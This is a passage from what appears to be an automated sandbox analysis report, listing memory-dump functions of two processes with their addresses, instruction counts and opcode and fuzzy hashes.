Source File: 00000028.00000002.2175211461.00007FFD9BA90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_7ffd9ba90000_driverSavesNet.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dd233542d1197a8f666320950966509fbf1c2f93546b1e9a1d2a8809b334e580
Instruction ID: ce56baf414407eb11fcbd654ea075ca9d3df2d43fe0b90272871f0457ffcbc0b
Opcode Fuzzy Hash: dd233542d1197a8f666320950966509fbf1c2f93546b1e9a1d2a8809b334e580
Instruction Fuzzy Hash: 74018630A0941E8BEB74AB44D8657F833F0FF54700F1100B9D82ED31B2EE7C6A849A05

Function 00007FFD9BA90C50 Relevance: .0, Instructions: 37COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000028.00000002.2175211461.00007FFD9BA90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_7ffd9ba90000_driverSavesNet.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8cbee8e404181b4a17bfadae28c4f2ff64367f85f7b9b5a9e77745427aed3101
Instruction ID: 185aecfcc91e1a7d15d3935e6ef7dd0107a6fb04f572e8d035bcfb6d08911644
Opcode Fuzzy Hash: 8cbee8e404181b4a17bfadae28c4f2ff64367f85f7b9b5a9e77745427aed3101
Instruction Fuzzy Hash: DA018F30A0E7898FEB22DBA484941DD7FB0EF02314F1541E6D490DB2A6D5786644C741

Function 00007FFD9BAA4AF8 Relevance: .0, Instructions: 35COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000028.00000002.2175211461.00007FFD9BAA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_7ffd9baa0000_driverSavesNet.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d1b96578eb78497914d7478d42e8414a1bfa834320602c61c29719ba6950ba4f
Instruction ID: e4d5b07f88fd08d48eb920360ed226684cf022c6b8536c70dbf638a23f06b40e
Opcode Fuzzy Hash: d1b96578eb78497914d7478d42e8414a1bfa834320602c61c29719ba6950ba4f
Instruction Fuzzy Hash: CCF03020B0D51F4EE6259B58D8E06BE3392EB44310F524179E40DC31FBDE68EA124591

Function 00007FFD9BA90BB5 Relevance: .0, Instructions: 34COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000028.00000002.2175211461.00007FFD9BA90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_7ffd9ba90000_driverSavesNet.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c7989595981c1ca71df758204383800d230170be55bc1cd2a850614b9061402d
Instruction ID: 3ab290ecebe68df358a07f2524903d06be5a3bb7f8820810ea45d690cf6cf004
Opcode Fuzzy Hash: c7989595981c1ca71df758204383800d230170be55bc1cd2a850614b9061402d
Instruction Fuzzy Hash: DEF0E521B5F54E8BEA6067B8D8A64687F60BF5A214FC600E2D00CC60E3E98D59998701

Function 00007FFD9BA93DB8 Relevance: .0, Instructions: 34COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000028.00000002.2175211461.00007FFD9BA90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_7ffd9ba90000_driverSavesNet.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 97f8a2abdd1d69e08835a9d10c9ad74a83ce43f0a7dbce24f38052b7efcaebfd
Instruction ID: b706b259ba8000349d228a7bdd7c57421ba2b4ff4df82c7fbf59923d6b960ee8
Opcode Fuzzy Hash: 97f8a2abdd1d69e08835a9d10c9ad74a83ce43f0a7dbce24f38052b7efcaebfd
Instruction Fuzzy Hash: 69F01D30A0A40D8BEA38E788D4657B932E1AF55700F1240B9DC5EC31F3EE686A556945

Function 00007FFD9BACAC19 Relevance: .0, Instructions: 33COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000028.00000002.2175211461.00007FFD9BAC1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAC1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_7ffd9bac1000_driverSavesNet.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 716d058b72ef7a44501b49141727e9f789ff5e70d6871ecc8b179f5cd2d5a660
Instruction ID: 5211aa2d6612457f4d9de952aa93d448eccef2aba6ab1a4b35a9362bc00e61d6
Opcode Fuzzy Hash: 716d058b72ef7a44501b49141727e9f789ff5e70d6871ecc8b179f5cd2d5a660
Instruction Fuzzy Hash: FCF0E521B1DBC80FC729A66E4869071BFE1DF9B21134A42FFC087C72A3ED58AC858341

Function 00007FFD9BAA43DC Relevance: .0, Instructions: 28COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000028.00000002.2175211461.00007FFD9BAA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_7ffd9baa0000_driverSavesNet.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c86a6d18ee9cf5b8288beecd27dd22ae6b18c438afd55893196e16f6cbafb7c1
Instruction ID: 27ecea352a1ea346908aa74bd7959807afee0941de4770bd84db161aeda66d3b
Opcode Fuzzy Hash: c86a6d18ee9cf5b8288beecd27dd22ae6b18c438afd55893196e16f6cbafb7c1
Instruction Fuzzy Hash: EEF0BD30E1561E8BEB58EB94C865ABE76B2FF54314F01063ED41AE72E5DFB86A008740

Function 00007FFD9BA910C0 Relevance: .0, Instructions: 27COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000028.00000002.2175211461.00007FFD9BA90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_7ffd9ba90000_driverSavesNet.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c86de57fb373c9d8e94ff0f78924ce960460df120c545c6e694aff1237423e69
Instruction ID: 8cffd86cfcae2a47928218a411c101795f743f235b7af4b1ac0aa463f8c23422
Opcode Fuzzy Hash: c86de57fb373c9d8e94ff0f78924ce960460df120c545c6e694aff1237423e69
Instruction Fuzzy Hash: 4EE02621B1C94907EB7CB67468B25B07280DB85334B0506B9D01AC62DACC4D1CC14281

Function 00007FFD9BACA780 Relevance: .0, Instructions: 22COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000028.00000002.2175211461.00007FFD9BAC1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAC1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_7ffd9bac1000_driverSavesNet.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 86516cfc4d8a0d480af8f07283063ca962ff981a2c8af2a83e93b7d611e3f089
Instruction ID: 3b92578e4f7772e49ffbfe9f1dff6bdc011e0549b8a98965e61b2550fcb9a3e4
Opcode Fuzzy Hash: 86516cfc4d8a0d480af8f07283063ca962ff981a2c8af2a83e93b7d611e3f089
Instruction Fuzzy Hash: 41D0A930B10E0C4B8B0CB63D885C430B3D2E7B9202384536E940AC32A1ED26ECC9CB80

Function 00007FFD9BACA6F0 Relevance: .0, Instructions: 22COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000028.00000002.2175211461.00007FFD9BAC1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAC1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_7ffd9bac1000_driverSavesNet.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 86516cfc4d8a0d480af8f07283063ca962ff981a2c8af2a83e93b7d611e3f089
Instruction ID: 3b92578e4f7772e49ffbfe9f1dff6bdc011e0549b8a98965e61b2550fcb9a3e4
Opcode Fuzzy Hash: 86516cfc4d8a0d480af8f07283063ca962ff981a2c8af2a83e93b7d611e3f089
Instruction Fuzzy Hash: 41D0A930B10E0C4B8B0CB63D885C430B3D2E7B9202384536E940AC32A1ED26ECC9CB80

Function 00007FFD9BA96D82 Relevance: .0, Instructions: 21COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000028.00000002.2175211461.00007FFD9BA90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_7ffd9ba90000_driverSavesNet.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 249affd7a88c1d9a1bd5e1382f543eda43fb2906d88ec0653c190584254be13a
Instruction ID: a540a8b8b86d01a383715220e19f5961f1f23d4551cd84d21cf1823d7212a501
Opcode Fuzzy Hash: 249affd7a88c1d9a1bd5e1382f543eda43fb2906d88ec0653c190584254be13a
Instruction Fuzzy Hash: CCE01231F0A51E4EF7B4A754C8607FA62A1DF94340F1200B4DA4DD72E1CEB86E806B05

Function 00007FFD9BACDC59 Relevance: .0, Instructions: 21COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000028.00000002.2175211461.00007FFD9BAC1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAC1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_7ffd9bac1000_driverSavesNet.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ab71c9d25c19e83f3734f3ee30352df4f67b8114d1714263ba71635ca4a0c99d
Instruction ID: cd56e683421c189c237c489b7bfbe3971a2f39724a95b221e1b258f1c2d61729
Opcode Fuzzy Hash: ab71c9d25c19e83f3734f3ee30352df4f67b8114d1714263ba71635ca4a0c99d
Instruction Fuzzy Hash: DFE0123294E3C08FC70B9B3488A88407F70AE5721038A42EAC089CF5B3DA299949C722

Function 00007FFD9BACDBD9 Relevance: .0, Instructions: 21COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000028.00000002.2175211461.00007FFD9BAC1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAC1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_7ffd9bac1000_driverSavesNet.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5929f9e0fff425aaf6a20130c28455c4d4aaf04d424b9d1b0d3af685ea6a64ec
Instruction ID: 8fcc83217c114699a545c829aec0d7193084a53cb8897f170883ffc1e8fc0656
Opcode Fuzzy Hash: 5929f9e0fff425aaf6a20130c28455c4d4aaf04d424b9d1b0d3af685ea6a64ec
Instruction Fuzzy Hash: C2E0462198E3C44FC70B9B3088A88803F61DE6B21038A40EFC085CF6B3EA29C849C702

Function 00007FFD9BA90B95 Relevance: .0, Instructions: 19COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000028.00000002.2175211461.00007FFD9BA90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_7ffd9ba90000_driverSavesNet.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 20056f28f5c8e8269b0aa9eac1031a2c7cb373701acce21d1f9b336049b5c4e8
Instruction ID: df7b6e0988a2187fea18a595e495a1f112a14e9f6707d17c55b2b2e2896cabc4
Opcode Fuzzy Hash: 20056f28f5c8e8269b0aa9eac1031a2c7cb373701acce21d1f9b336049b5c4e8
Instruction Fuzzy Hash: A5D0A73062994E8FCA00A778C8498147BA0FB0F204BD610E1E40CC71A2C50848598740

Function 00007FFD9BAC1EF0 Relevance: .0, Instructions: 18COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000028.00000002.2175211461.00007FFD9BAC1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAC1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_7ffd9bac1000_driverSavesNet.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 30b88120e300ce741a67909c90f8bad83c6bf9a8a2db7280cd1828b58fc114cc
Instruction ID: 8f180aab2aa75e9180ee0f7869d42a8d0eff98467748f81fc95ef1229aac25a4
Opcode Fuzzy Hash: 30b88120e300ce741a67909c90f8bad83c6bf9a8a2db7280cd1828b58fc114cc
Instruction Fuzzy Hash: D2D01230750D084F8B4CF63C885996033D1E76D2167854059D00AC72B1E966DC89C741

Function 00007FFD9BACBA50 Relevance: .0, Instructions: 17COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000028.00000002.2175211461.00007FFD9BAC1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAC1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_7ffd9bac1000_driverSavesNet.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0382474be2252812ffddbfc94a16e0f37ee67439e0a9c7c8d7487183ef8c9765
Instruction ID: 684e92173d7cdd621430f1022de10ed686bb4abce4d2c57fefd738d368d6cff7
Opcode Fuzzy Hash: 0382474be2252812ffddbfc94a16e0f37ee67439e0a9c7c8d7487183ef8c9765
Instruction Fuzzy Hash: 80D01234B519044FC71CB7388C698747391EB6A21679540A9D00BC72B1D96ADD89C741

Function 00007FFD9BAC7108 Relevance: .0, Instructions: 17COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000028.00000002.2175211461.00007FFD9BAC1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAC1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_7ffd9bac1000_driverSavesNet.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b76d09581a485318be0439cddbf594043823472e11f120240bfabd430aedc966
Instruction ID: 3c10a83fd2075ca75fd7ff32477f2c6527dd0d30c498e20f6205a282be686aa8
Opcode Fuzzy Hash: b76d09581a485318be0439cddbf594043823472e11f120240bfabd430aedc966
Instruction Fuzzy Hash: 30D01234B519044FC71CBB3888698747391EB6A21679540A9D00BC72B1D96ADD89C781

Function 00007FFD9BAC81E8 Relevance: .0, Instructions: 14COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000028.00000002.2175211461.00007FFD9BAC1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAC1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_7ffd9bac1000_driverSavesNet.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1e97dfb77835b656f69fecd75c494c137f26c2780c9cbda15419d23b0e565689
Instruction ID: f931286b6282fcbc83ee123cb7d12cf16165f46ddec1cbffb07bd85143b7a4a0
Opcode Fuzzy Hash: 1e97dfb77835b656f69fecd75c494c137f26c2780c9cbda15419d23b0e565689
Instruction Fuzzy Hash: 47C0803055180C4FC74CF725C45DC7073D0FB192017C11095D00EC7170D9569D94C741

Function 00007FFD9BA906AD Relevance: .0, Instructions: 13COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000028.00000002.2175211461.00007FFD9BA90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_7ffd9ba90000_driverSavesNet.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 33790b693b33e3520821af63ad25aeeed2eec822eedf587a6f43cf9c169c737b
Instruction ID: e3b99b893ff219eb93466901df1bfac327fb6bf979c14e80678ff60331c55bd0
Opcode Fuzzy Hash: 33790b693b33e3520821af63ad25aeeed2eec822eedf587a6f43cf9c169c737b
Instruction Fuzzy Hash: BFC08C06F1B51F00E43033EE24220BCB1004BC8EA0FD30032D60C800B1ACCD22D5218E

Function 00007FFD9BA94848 Relevance: .0, Instructions: 10COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000028.00000002.2175211461.00007FFD9BA90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_7ffd9ba90000_driverSavesNet.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1d1271f5b9a7564671f21b3f79f553d1a38b0f01a88fd82e4e9d3193b1bfe846
Instruction ID: bcdd343b9c109f68763d02a44e7f32c059b42e3df0f3fe32b61ec899809aa22f
Opcode Fuzzy Hash: 1d1271f5b9a7564671f21b3f79f553d1a38b0f01a88fd82e4e9d3193b1bfe846
Instruction Fuzzy Hash: 87C08C00F1C81A03E2192218443057E40828FA4318F4505B4E40FCB6DECE0C6E0102CB

Function 00007FFD9BA906D0 Relevance: .0, Instructions: 8COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000028.00000002.2175211461.00007FFD9BA90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_7ffd9ba90000_driverSavesNet.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d0f5d5a96ac0085cd394bc949c56670d544e71c2d86c442eaaaebd6d5c752576
Instruction ID: b58fe859dd7cd7152c0037ad3b7bd65065940364f69f8eb107b955fad3c77f3d
Opcode Fuzzy Hash: d0f5d5a96ac0085cd394bc949c56670d544e71c2d86c442eaaaebd6d5c752576
Instruction Fuzzy Hash: C2B01204D6740F00E43433FA0852078B0405B4C540FC20070D80C80091A8CD12942286

Non-executed Functions

Function 00007FFD9BA909B0 Relevance: 5.2, Strings: 4, Instructions: 183COMMON

Download Yara Rule

Strings

"s9, xrefs: 00007FFD9BA90B46
#{9, xrefs: 00007FFD9BA90B3E
!k9, xrefs: 00007FFD9BA90B4E
c9, xrefs: 00007FFD9BA90B56

Memory Dump Source

Source File: 00000028.00000002.2175211461.00007FFD9BA90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_7ffd9ba90000_driverSavesNet.jbxd

Similarity

API ID:
String ID: c9$!k9$"s9$#{9
API String ID: 0-1692736845
Opcode ID: 072719a231b4e5076b9c66f90434ff7322eb892f004b8e63a2f80378316eaead
Instruction ID: bcefbef09821aa0dcb988512b4936c755ef94f51dc09a2d354732f35588d30e1
Opcode Fuzzy Hash: 072719a231b4e5076b9c66f90434ff7322eb892f004b8e63a2f80378316eaead
Instruction Fuzzy Hash: 2B418117B0D06659E239B3FD78619ED6B488FA927FB0847B7F46D8D0D78C086085C2E9

Analysis Process: gNKaMdWfDFzDkhEeKzQ.exePID: 2128, Parent PID: 2580COMMON

Executed Functions

Function 00007FFD9BAFA769 Relevance: 1.3, Strings: 1, Instructions: 26COMMON

Download Yara Rule

Strings

M, xrefs: 00007FFD9BAFA786

Memory Dump Source

Source File: 0000002A.00000002.2260690593.00007FFD9BAF1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAF1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_42_2_7ffd9baf1000_gNKaMdWfDFzDkhEeKzQ.jbxd

Similarity

API ID:
String ID: M
API String ID: 0-3664761504
Opcode ID: 0c379ceef50a1b15e83eca98d572a8f388cff36c774208ce1ac3ba21f017244c
Instruction ID: b7959f8c9b9b17649627278ac1721f5a9919b5604c434f8269f22c3a4eda50ea
Opcode Fuzzy Hash: 0c379ceef50a1b15e83eca98d572a8f388cff36c774208ce1ac3ba21f017244c
Instruction Fuzzy Hash: 63E0927060E3C44FC71AEB7488688557FA0EE6B20174A42EFC045CF2A7EA2DC889C701

Function 00007FFD9BAFA6D9 Relevance: 1.3, Strings: 1, Instructions: 26COMMON

Download Yara Rule

Strings

M, xrefs: 00007FFD9BAFA6F6

Memory Dump Source

Source File: 0000002A.00000002.2260690593.00007FFD9BAF1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAF1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_42_2_7ffd9baf1000_gNKaMdWfDFzDkhEeKzQ.jbxd

Similarity

API ID:
String ID: M
API String ID: 0-3664761504
Opcode ID: bc3b6458b47e2ff4603caa752ec7bdbc18157ecac0a6e6828e38c26fc93961b5
Instruction ID: f144478dc3dcf8e402aa78cd1bebb1a7e4af47dd89e67d8599c88cc23591a4a9
Opcode Fuzzy Hash: bc3b6458b47e2ff4603caa752ec7bdbc18157ecac0a6e6828e38c26fc93961b5
Instruction Fuzzy Hash: 7EE0ED6060E7C44FC71AAA74886D440BFA0EF2720074A42EFC045CF1A3EA2C8884CB01

Function 00007FFD9BAF1E49 Relevance: 1.3, Strings: 1, Instructions: 26COMMON

Download Yara Rule

Strings

M, xrefs: 00007FFD9BAF1E66

Memory Dump Source

Source File: 0000002A.00000002.2260690593.00007FFD9BAF1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAF1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_42_2_7ffd9baf1000_gNKaMdWfDFzDkhEeKzQ.jbxd

Similarity

API ID:
String ID: M
API String ID: 0-3664761504
Opcode ID: 196ab73cee1da1550dca4ec0154044651d7492665f52c1003b4b807af1e5f4ac
Instruction ID: 5c25d3c17d73006530bca925d421cf119a6340234340300d96d8eba40df49885
Opcode Fuzzy Hash: 196ab73cee1da1550dca4ec0154044651d7492665f52c1003b4b807af1e5f4ac
Instruction Fuzzy Hash: 99F06D3060E3C08FCB16EB3888688547FA0EE6720174A42EFC086CF1A7DA2D8885CB51

Function 00007FFD9BAF2D09 Relevance: 1.3, Strings: 1, Instructions: 26COMMON

Download Yara Rule

Strings

M, xrefs: 00007FFD9BAF2D26

Memory Dump Source

Source File: 0000002A.00000002.2260690593.00007FFD9BAF1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAF1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_42_2_7ffd9baf1000_gNKaMdWfDFzDkhEeKzQ.jbxd

Similarity

API ID:
String ID: M
API String ID: 0-3664761504
Opcode ID: 0d5ea1776a3a58e58e92cdef44646a08b5729d0520b66047cbc96ea58cb9274a
Instruction ID: d28fd7565480058eeda664d7e24a411bbee6793b51f8c73cb3a9c6ec93eafcb5
Opcode Fuzzy Hash: 0d5ea1776a3a58e58e92cdef44646a08b5729d0520b66047cbc96ea58cb9274a
Instruction Fuzzy Hash: 97E06D6160E7C44FD71AEA748869454BFA0EF6721178A52EFC045CF1A7EA2D8889C701

Function 00007FFD9BAF6CA9 Relevance: 1.3, Strings: 1, Instructions: 26COMMON

Download Yara Rule

Strings

M, xrefs: 00007FFD9BAF6CC6

Memory Dump Source

Source File: 0000002A.00000002.2260690593.00007FFD9BAF1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAF1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_42_2_7ffd9baf1000_gNKaMdWfDFzDkhEeKzQ.jbxd

Similarity

API ID:
String ID: M
API String ID: 0-3664761504
Opcode ID: 6adb512e9dd053a65ca773af0a7c9f082b19260b183e3eb147507f6adc4c74a7
Instruction ID: 9e19f1600349566e2194dbcfed447d0deadd76a329e58310cdbe8c9a3fe3b13b
Opcode Fuzzy Hash: 6adb512e9dd053a65ca773af0a7c9f082b19260b183e3eb147507f6adc4c74a7
Instruction Fuzzy Hash: 57E0657160E7C44FC716AB3548694557FA0EF6721174A51EEC045CF1A3DA2D8885C701

Function 00007FFD9BAF83E9 Relevance: 1.3, Strings: 1, Instructions: 22COMMON

Download Yara Rule

Strings

I, xrefs: 00007FFD9BAF8406

Memory Dump Source

Source File: 0000002A.00000002.2260690593.00007FFD9BAF1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAF1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_42_2_7ffd9baf1000_gNKaMdWfDFzDkhEeKzQ.jbxd

Similarity

API ID:
String ID: I
API String ID: 0-3707901625
Opcode ID: 2cf294af62d82c4ce89c0c87766208381422bfc0b2a340f6a55b7a628bda4f71
Instruction ID: 62138459001225dfb353baa1f2623eba08fdf01ff3f77aacd232a657b11715fd
Opcode Fuzzy Hash: 2cf294af62d82c4ce89c0c87766208381422bfc0b2a340f6a55b7a628bda4f71
Instruction Fuzzy Hash: 1FE0E56154E7C44FCB1AEB74886A9457FA0EE6721078B41EEC089CB1B3EA299849C701

Function 00007FFD9BAF1ED9 Relevance: 1.3, Strings: 1, Instructions: 22COMMON

Download Yara Rule

Strings

I, xrefs: 00007FFD9BAF1EF6

Memory Dump Source

Source File: 0000002A.00000002.2260690593.00007FFD9BAF1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAF1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_42_2_7ffd9baf1000_gNKaMdWfDFzDkhEeKzQ.jbxd

Similarity

API ID:
String ID: I
API String ID: 0-3707901625
Opcode ID: 3c2149e55d97b0f2afe81a60e72e666ee42cdfcfabfb178eea622f96bc74e4f1
Instruction ID: 6385cad7d1693e93135e4b431809c87d2b2c1145a145919c65724902ddc03585
Opcode Fuzzy Hash: 3c2149e55d97b0f2afe81a60e72e666ee42cdfcfabfb178eea622f96bc74e4f1
Instruction Fuzzy Hash: F0E01A7054A3C04FCB06EB7484A98453FA0EE6721078B41EEC189CF1B3E62D8949C701

Function 00007FFD9BAFACA9 Relevance: 1.3, Strings: 1, Instructions: 22COMMON

Download Yara Rule

Strings

I, xrefs: 00007FFD9BAFACC6

Memory Dump Source

Source File: 0000002A.00000002.2260690593.00007FFD9BAF1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAF1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_42_2_7ffd9baf1000_gNKaMdWfDFzDkhEeKzQ.jbxd

Similarity

API ID:
String ID: I
API String ID: 0-3707901625
Opcode ID: 3d02345838827a438097e6fe84e15b9b1c183429affcc79f0e8312cbc52d986b
Instruction ID: 7886848981560dd5a085a92963ee2f711d4f0da3e3173f0a31e84eef69717612
Opcode Fuzzy Hash: 3d02345838827a438097e6fe84e15b9b1c183429affcc79f0e8312cbc52d986b
Instruction Fuzzy Hash: E2E01A7154F7C44FCB16EB75886A9457FB0AE6721078B40EEC085CF1B3E62E8849C701

Function 00007FFD9BAF31D5 Relevance: .3, Instructions: 281COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000002A.00000002.2260690593.00007FFD9BAF1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAF1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_42_2_7ffd9baf1000_gNKaMdWfDFzDkhEeKzQ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5fe9e944fe5d5bbb02f3e11be15d958c5594250fcb551f3b32430dcb339ef689
Instruction ID: ce252f77f358e5f06631d4d52271e31d77e6ab17b1f352b3d44e3d9f6bdf09ac
Opcode Fuzzy Hash: 5fe9e944fe5d5bbb02f3e11be15d958c5594250fcb551f3b32430dcb339ef689
Instruction Fuzzy Hash: 1A81C121B1DB4E0FEBACEB5884766B477C2EFA8350F0542BAD44EC71D7DD68A9458380

Function 00007FFD9BAF3265 Relevance: .2, Instructions: 196COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000002A.00000002.2260690593.00007FFD9BAF1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAF1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_42_2_7ffd9baf1000_gNKaMdWfDFzDkhEeKzQ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 151e87006390479cbcdba8eee9e8265de2ded0660b55fc8d3fd63c2aadec44bf
Instruction ID: 646a26bcbdbf389d7c36e6b905996f29d1364e7c0304f7e20b02ae35ac4a1550
Opcode Fuzzy Hash: 151e87006390479cbcdba8eee9e8265de2ded0660b55fc8d3fd63c2aadec44bf
Instruction Fuzzy Hash: EA51D321B1DB4E4FEBACEB5884766B877C2EFA8350F05427AD40EC72D7ED68A9414340

Function 00007FFD9BAF8862 Relevance: .1, Instructions: 147COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000002A.00000002.2260690593.00007FFD9BAF1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAF1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_42_2_7ffd9baf1000_gNKaMdWfDFzDkhEeKzQ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 35b1cb33a7588beb61bea657c7b854fdbcbe526569da8c722e34a5d3aa28e5fa
Instruction ID: ed0ba14da3c516ee66d28d03ed5aa33b55c3c2a43c95f41e7394d70692aa3552
Opcode Fuzzy Hash: 35b1cb33a7588beb61bea657c7b854fdbcbe526569da8c722e34a5d3aa28e5fa
Instruction Fuzzy Hash: 2F512030B19A5D8FEB98EB5888A5BE8B7A1FF58311F1442B9D00CD72D6CE746D84CB41

Function 00007FFD9BAC0960 Relevance: .1, Instructions: 116COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000002A.00000002.2260690593.00007FFD9BAC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_42_2_7ffd9bac0000_gNKaMdWfDFzDkhEeKzQ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b600af004c77d1c45bee71c33c1656232c7fb89d5e04eac93683a8c41f674ec0
Instruction ID: f43b672183d155640d6a3f6e33e7d097f0fa3326cfc031c0d71220d51ab74e31
